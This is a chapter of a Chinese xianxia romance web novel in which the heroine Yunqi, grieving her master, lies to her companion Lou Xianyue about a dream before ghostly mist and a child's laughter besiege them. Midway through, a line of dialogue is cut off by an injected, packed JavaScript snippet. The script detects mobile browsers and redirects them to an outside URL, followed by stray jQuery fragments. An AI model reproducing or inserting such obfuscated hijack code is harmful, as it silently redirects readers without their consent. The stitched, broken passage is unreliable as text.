14. 盘根缠错节(七)

作品:《坏了,替身文学遇到沉浸式扮演了

    最先恢复的知觉是痛。


    不是尖锐的刺痛,而且魂魄被撕裂后又强行粘合的、弥漫性的钝痛,从识海深处一直蔓延到指尖。


    云栖的睫毛颤动,艰难地睁开眼。


    昏迷前的一切——师父消散的流光、金剪刀上刺目的血,以及少年眉眼的痛苦,全部如潮水般涌来。


    肿痛的双眼再次泛起泪光,每次呼吸都痛入骨髓。


    云栖控制不住地呛咳起来,肺腑间满是铁锈般的血腥气。


    都是她的错。


    是她将剪刀对准少年,是她将师父一个人留在幻境。


    她是一个罪人。


    这个念头比身上任何一处暗伤都更尖锐地刺伤了她。


    云栖撑着身子起身,偏头看向窗外幽绿色的湖底微光。


    双眼渐渐失神、空洞。


    她想,若是没有阵法,这湖水是不是就真的能将她溺毙。


    “云栖姑娘在看什么?”


    熟悉的声音将她从地狱拉回现实,云栖心跳迟了一拍。


    她正过视线。


    见到楼衔月正进屋向她走近。


    他的气息有一丝不易察觉的紊乱,金袍袖口甚至撕裂了一道小口。


    但他脸上表情未变,手中是一件叠得整齐、洗的发白的旧道袍。


    他没有说话,将它放在床边。


    “那间屋子,只剩下这个,”他开口,声音是他一贯伪装的温和,此刻更是放低声音,“节哀。”


    云栖手紧握、松开,再紧握,干涩的双眼再挤不出一滴眼泪。


    她颤抖着手抚上领口有着点滴血迹的道袍。


    沉默良久,云栖最终无力道:“道友,现在使用回溯之力可以尽快破阵。”


    她的视线停留在衣物上,自然没看到他神情一滞。


    楼衔月很快恢复常色,解释道:“仅凭无面神像,就可看出湖底阵法是费尽心思的成品。”


    “云栖姑娘若用回溯之力强行破阵,无异于送死。”


    他咬字很轻,似乎只是为了提醒她。


    可云栖听起来,却变成一句轻易放弃生命的指责。


    “我的师父已找到,”心中愧疚倍增,云栖哑然道,“我已了无牵挂。”


    面上的表情完全固定,假面渐渐凝结成冰。


    楼衔月脖颈青筋猛地跳动。


    似乎察觉到周身的低气压,云栖抬头。


    即使眼前人此刻与黑袍少年的气质、性格完全不一样,记忆深处不能言说的痛苦也依旧席卷全身。


    强忍着不适,云栖试图安抚:“道友帮我众多,我是想尽我所能助你早日出阵。”


    仿佛一尊石像渐渐活过来,他眨了眨眼。


    还是挂着温和的微笑,楼衔月倾身下来,抵住她额头。


    “云栖姑娘还是先养好身子,”灵光在二人之间飞舞,“若是为了破阵就需要牺牲他人,我岂不是成了败坏白玉京名声的恶人。”


    眼前突然放大的俊脸,激得云栖猛地向后撤离。


    “咚”的一声打断灵力的输送,也截断她狂跳的心脏。


    看着脑袋磕到墙面的云栖,楼衔月一怔。


    “云栖姑娘,为何反应如此之大?”


    双手捂着后脑勺,云栖支支吾吾:“道、道友不必再为我浪费灵力。”


    伸出扶她的手也被避开,楼衔月另一只撑在床上的手用力收紧。


    云栖不去看他,侧过身子,挪坐到床沿。


    “我们还是尽快寻找阵眼破阵为好。”


    双脚落地的刹那,云栖突然顿住。


    记忆中化身新娘坐在轮椅上的无力感再次爬上她的双腿。


    她甚至有些恍惚,下意识捏掐自己的大腿。


    痛意袭来,她先是试探地在地面踩了两脚,才尝试着站起身。


    她的一举一动自然没逃过楼衔月的眼睛。


    楼衔月慢条斯理地起身,像已经将猎物逼进死胡同:“云栖姑娘说的有理。”


    “不过能否先解答我的一个疑惑。”


    “什么?”


    “姑娘昏睡时一直在喊‘别走’,是因为邪祟的影响想起什么往事了吗?”


    云栖的心猛地一沉,似乎听到血液在耳膜冲刷的声音。


    记忆不断支离片段的恢复,她相信自己的判断——她与道友曾经有着千丝万缕的联系。


    但她的身子与过往无疑是累赘。


    她不能说出嫁衣和剪刀,那样无疑会加深与道友的牵绊。


    她垂下眼睫,借着整理衣袖掩饰住慌乱,“道友还记得我在湖面时,看到沉湖的少女吗?”


    云栖猜测,刚刚必定是她对双腿的探究促使道友问出猜疑。


    “这次我看到她,和我长了一张一模一样的脸。”


    云栖小心抬眸观察他的神色,“我想拉住她,可她不断往湖里坠去,所以我可能一直在喊‘别走’。”


    她的谎言漏洞百出。


    但楼衔月整个人钉住般忘记呼吸,仿佛寒冬里绝望坠湖的不是少女,而是他。


    “小姐自从不能站立就一直闷闷不乐。”


    “但小姐今日难得心情好,她说今日有太阳,愿意去湖边逛逛,但她又说想一个人待会儿,让我们一个时辰后去接她,我们便先回来了。”


    “啊!衔月公子,你身上怎么有蓝色的咒文?”


    “衔月公子,你去哪儿?”


    寒风刺骨,刚游出冰冷的湖水,浑身滴水,而少年只是抱着怀中毫无生气的少女,收回无能为力的妖力,无措地看向周围,“救救她,救救她。”


    时间仿佛在他身上凝固。


    云栖看着他骤然失血的脸色和空洞的眼神,那句“道友”卡在喉咙里。


    她从未在他脸上看到过这种表情——不是他惯常的温和,也不是她偶尔窥见的阴郁,而是一种…被整个世界重量瞬间压垮的、无声的破碎。


    “……楼衔月?”被担忧裹挟,她下意识地、第一次唤了他的全名。


    终于,楼衔月活过来。


    他喉结滚动,看着她的双眼,深渊暗不见底。


    “你不该想起这些。”


    之前她同他透露故人的线索也没被这般审判,云栖一时怔愣。


    就在她想着是不是她的话触碰了他的逆鳞时,她听他道:


    “…那时,湖水很冷吧?”


    他声音很轻,轻到像在触碰易碎的瓷器般带着些小心。


    云栖彻底怔住。


    她编造的谎言,却仿佛在他心口剜出伤口。


    他此刻的痛,如此具体,具体到像是在问——那时,她很绝望吧?


    更深的愧疚与悲伤将她掩埋。


    云栖张了张嘴,袖下的手攥紧成拳,“过去的事情已经忘记了。”


    “而且,”她抬腿示意,“我的腿能站立。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008011|194112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    见他神色渐渐好转,云栖指尖在掌心掐出印子。


    “所以,道友也将过去忘了吧。”


    她的谎言引出他的伤心事,罪又添了一重。


    “第一次见道友,便觉得道友像一颗闪闪发光的太阳。”


    她不想再伤害任何人。


    “太阳东升西落,不应困于永夜。”


    这是她第二次劝他。


    云栖的声音落下,房间陷入一片死寂。


    她不安地等待着他的反应,而楼衔月只是静静地注视着她。


    那双总是蕴藏着虚假温情的眼眸,此刻像深得不见底的寒潭。


    他看得那样专注,让她感觉仿佛看透她假装镇定的皮囊,发现她在说谎、在逃离。


    “…好。”良久,道友出乎意料地同意,他后退半步。


    她得以喘息。


    “要找到阵眼,需从无面神像下手。”楼衔月继续道。


    轻描淡写地接过话,云栖突然不知道他到底在同意什么。


    是尽快寻找阵眼,还是忘记过往?


    楼衔月转过身,指尖转动刀簪,猛地插入地面。


    房间内沿着地砖蔓延的黑雾散开一圈,楼衔月看向窗外:“它们找来了。”


    薄色黑雾盘旋在屋外,云栖眼皮一跳。


    楼衔月指节微动,窗户、木门自动关上,烛光亮起。


    房间将二人与外面的黑雾暂时隔离。


    “无面神像,有些棘手。”


    没有恐慌,楼衔月像闯关者对关卡难度做出中肯的评价。


    云栖的心随之冷静下来。


    她看着楼衔月走向圆圈的边沿。


    他的背影挺直,除了出手时的狠戾与口吻难以分辨的冷意,仿佛已经将刚才的波动彻底封存。


    这也让她强迫自己收敛心神。


    楼衔月将外围的黑雾牵出一团,飘在他的掌心。


    “这阴邪不似普通的阴邪,它不吃阳灵。”


    一缕金色的灵力穿透他手中的那团黑雾,不断游走。


    闻言,云栖走到他身侧。


    黑雾却突然像有了目标般,飘向她的身上。


    突如其来的变故让云栖后退几步。


    金光猛然吞噬黑雾,嚼碎吞咽,楼衔月眼神暗下来。


    云栖缓过神:“它刚刚…好像是冲我来的。”


    楼衔月回头,视线偏移,落到床上那件道袍上,“看来,这是为你准备的陷阱。”


    云栖心猛地一坠。


    有人用她师父的死,让她停留在无面神像下,趁她心神不守,让阴邪入侵。


    身体仿佛被一张不断收紧的网缠绕,云栖脚底冰冷。


    就在房间陷入沉默时,“咚咚”敲门声响起。


    云栖倏地看向紧闭的房门。


    这湖底的官府,哪会有其他活人存在?


    云栖咽口唾沫,眼睛一眨不眨。


    一秒、两秒、三秒……房门并未被打开。


    房间内又归于寂静。


    “咚咚!”


    云栖回头与楼衔月眼神交换,转头壮着胆子问道:“谁?”


    “桀桀桀。”回应她的是一阵令人胆寒的、稚嫩的笑声。


    外面的声音再次停下。


    “啪啪!”身后的窗户发出敲打声,云栖转身看去。


    窗户上出现儿童身形的阴影,又突然消失不见。